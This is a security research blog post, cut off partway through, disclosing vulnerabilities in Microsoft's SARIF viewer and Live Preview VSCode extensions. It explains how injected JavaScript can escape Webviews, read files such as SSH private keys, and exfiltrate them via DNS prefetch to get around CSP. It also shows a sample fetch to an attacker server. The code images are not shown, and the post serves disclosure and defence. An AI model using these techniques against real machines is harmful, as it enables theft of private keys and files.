https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/ The Trail of Bits Blog Blog Trail of Bits Logo Escaping misconfigured VSCode extensions Vasco Franco February 21, 2023 exploits, vulnerability-disclosure TL;DR: This two-part blog series will cover how I found and disclosed three vulnerabilities in VSCode extensions and one vulnerability in VSCode itself (a security mitigation bypass assigned CVE-2022-41042 and awarded a $7,500 bounty). We will identify the underlying cause of each vulnerability and create fully working exploits to demonstrate how an attacker could have compromised your machine. We will also recommend ways to prevent similar issues from occurring in the future. A few months ago, I decided to assess the security of some VSCode extensions that we frequently use during audits. In particular, I looked at two Microsoft extensions: SARIF viewer, which helps visualize static analysis results, and Live Preview, which renders HTML files directly in VSCode. Why should you care about the security of VSCode extensions? As we will demonstrate, vulnerabilities in VSCode extensions--especially those that parse potentially untrusted input--can lead to the compromise of your local machine. In both the extensions I reviewed, I found a high-severity bug that would allow an attacker to steal all of your local files. With one of these bugs, an attacker could even steal your SSH keys if you visited a malicious website while the extension is running in the background. During this research, I learned about VSCode Webviews--sandboxed UI panels that run in a separate context from the main extension, analogous to an iframe in a normal website--and researched avenues to escape them. In this post, we'll dive into what VSCode Webviews are and analyze three vulnerabilities in VSCode extensions, two of which led to arbitrary local file exfiltration. We will also look at some interesting exploitation tricks: leaking files using DNS to bypass restrictive Content-Security-Policy (CSP) policies, using srcdoc iframes to execute JavaScript, and using DNS rebinding to elevate the impact of our exploits. In an upcoming blog post, we'll examine a bug in VSCode itself that allows us to escape a Webview's sandbox even in a well-configured extension. VSCode Webviews Before diving into the bugs, it's important to understand how a VSCode extension is structured. VSCode is an Electron application with privileges to access the filesystem and execute arbitrary shell commands; extensions have all the same privileges. This means that if an attacker can execute JavaScript (e.g., through an XSS vulnerability) in a VSCode extension, they can achieve a full compromise of the system. As a defense-in-depth protection against XSS vulnerabilities, extensions have to create UI panels inside sandboxed Webviews. These Webviews don't have access to the NodeJS APIs, which allow the main extension to read files and run shell commands. Webviews can be further limited with several options: * enableScripts: prevents the Webview from executing JavaScript if set to false. Most extensions require enableScripts: true. * localResourceRoots: prevents Webviews from accessing files outside of the directories specified in localResourceRoots. The default is the current workspace directory and the extension's folder. * Content-Security-Policy: mitigates the impact of XSS vulnerabilities by limiting the sources from which the Webview can load content (images, CSS, scripts, etc.). The policy is added through a meta tag of the Webview's HTML source, such as: Sometimes, these Webview panels need to communicate with the main extension to pass some data or ask for a privileged operation that they cannot perform on their own. This communication is achieved by using the postMessage() API. Below is a simple, commented example of how to create a Webview and how to pass messages between the main extension and the Webview. [b2bdbfb41f] Example of a simple extension that creates a Webview An XSS vulnerability inside the Webview should not lead to a compromise if the following conditions are true: localResourceRoots is correctly set up, the CSP correctly limits the sources from which content can be loaded, and no postMessage handler is vulnerable to problems such as command injection. Still, you should not allow arbitrary execution of untrusted JavaScript inside a Webview; these security features are in place as a defense-in-depth protection. This is analogous to how a browser does not allow a renderer process to execute arbitrary code, even though it is sandboxed. You can read more about Webviews and their security model in VSCode's documentation for Webviews. Now that we understand Webviews a little better, let's take a look at three vulnerabilities that I found during my research and how I was able to escape Webviews and exfiltrate local files in two VSCode extensions built by Microsoft. Vulnerability 1: HTML/JavaScript injection in Microsoft's SARIF viewer Microsoft's SARIF viewer is a VSCode extension that parses SARIF files--a JSON-based file format into which most static analysis tools output their results--and displays them in a browsable list. Since I use the SARIF viewer extension in all of our audits to triage static analysis results, I wanted to know how well it was protected against loading untrusted SARIF files. These untrusted files can be downloaded from an untrusted source or, more likely, result from running a static analysis tool--such as CodeQL or Semgrep--with a malicious rule containing metadata that can manipulate the resulting SARIF file (e.g., the finding's description). While examining the code where the SARIF data is rendered, I came across a suspicious-looking snippet in which the description of a static analysis result is rendered using the ReactMarkdown class with the escapeHtml option set to false. [289cbe2d36] Code that unsafely renders the description of a finding parsed from a SARIF file (source) Since HTML is not escaped, by controlling the markdown field of a result's message, we can inject arbitrary HTML and JavaScript in the Webview. I quickly threw up a proof of concept (PoC) that automatically executed JavaScript using the onerror handler of an img with an invalid source. [877eccbe4f] Portion of a SARIF file that triggers JavaScript execution in the SARIF Viewer extension It worked! The picture below shows the exploit in action. [09a31261c1] PoC exploit in action. On the right, we see the JavaScript injected in the DOM. On the left, we see where it is rendered. This was the easy part. Now, we need to weaponize this bug by fetching sensitive local files and exfiltrating them to our server. Fetching local files Our HTML injection is inside a Webview, which, as we saw, is limited to reading files inside its localResourceRoots. The Webview is created with the following code: [f66ebf3ccc] Code that creates the Webview in the SARIF viewer extension with an unsafe localResourceRoots option (source) As we can see, localResourceRoots is configured very poorly. It allows the Webview to read files from anywhere on the disk, up to the z: drive! This means that we can just read any file we want--for example, a user's private key at ~/.ssh/id_rsa. Inside the Webview, we cannot open and read a file since we don't have access to NodeJS APIs. Instead, we make a fetch to https:// file+.vscode-resource.vscode-cdn.net/, and the file contents are sent in the response (if the file exists and is within the localResourceRoots path). To leak /etc/issue, all we need is to make the following fetch: [eefbf5f7dd] Example of code that reads the /etc/issue file inside a Webview Exfiltrating files Now, we just need to send the file contents to our remote server. Normally, this would be easy; we would make a fetch to a server we control with the file's contents in the POST body or in a GET parameter (e.g., fetch('https://our.server.com?q= ')). However, the Webview has a fairly restrictive CSP. In particular, the connect-src directive restricts fetches to self and https:// *.vscode-cdn.net. Since we don't control either source, we cannot make fetches to our attacker-controlled server. [d1b21e01f5] CSP of the SARIF viewer extension's Webview (source) We can circumvent this limitation with, you guessed it, DNS! By injecting tags with the rel="dns-prefetch" attribute, we can leak file contents in subdomains even with the restrictive CSP connect-src directive. [5690ddc201] Example of HTML code that leaks files using DNS to circumvent a restrictive CSP To leak the file, all we need is to encode the file in hex and inject tags in the DOM, where the href points to our attacker-controlled server with the encoded file contents in the subdomains. We just need to ensure that each subdomain has at most 64 characters (including the .s) and that the whole subdomain has less than 256 characters. Putting it all together By combining these techniques, we can build an exploit that exfiltrates the user's $HOME/.ssh/id_rsa file. Here is the commented exploit: [8a42f12b70] Exploit that steals a user's private key when they open a compromised SARIF file in the SARIF viewer extension This was all possible because the extension used the ReactMarkdown component with the escapeHtml = {false} option, allowing an attacker with partial control of a SARIF file to inject JavaScript in the Webview. Thanks to a very permissive localResourceRoots, the attacker could take any file from the user's filesystem. Would this vulnerability still be exploitable with a stricter localResourceRoots? Wait for the second blog post! ;) To detect these issues automatically, we improved Semgrep's existing ReactMarkdown rule in PR #2307. Try it out against React codebases with semgrep --config "p/react." Vulnerability 2: HTML/JavaScript injection in Microsoft's Live Preview extension Microsoft's Live Preview, a VSCode extension with more than 1 million installs, allows you to preview HTML files from your current workspace in an embedded browser directly in VSCode. I wanted to understand if I could safely preview malicious HTML files using the extension. The extension starts by creating a local HTTP server on port 3000, where it hosts the current workspace directory and all of its files. Then, to render a file, it creates an iframe that points to the local HTTP server (e.g.,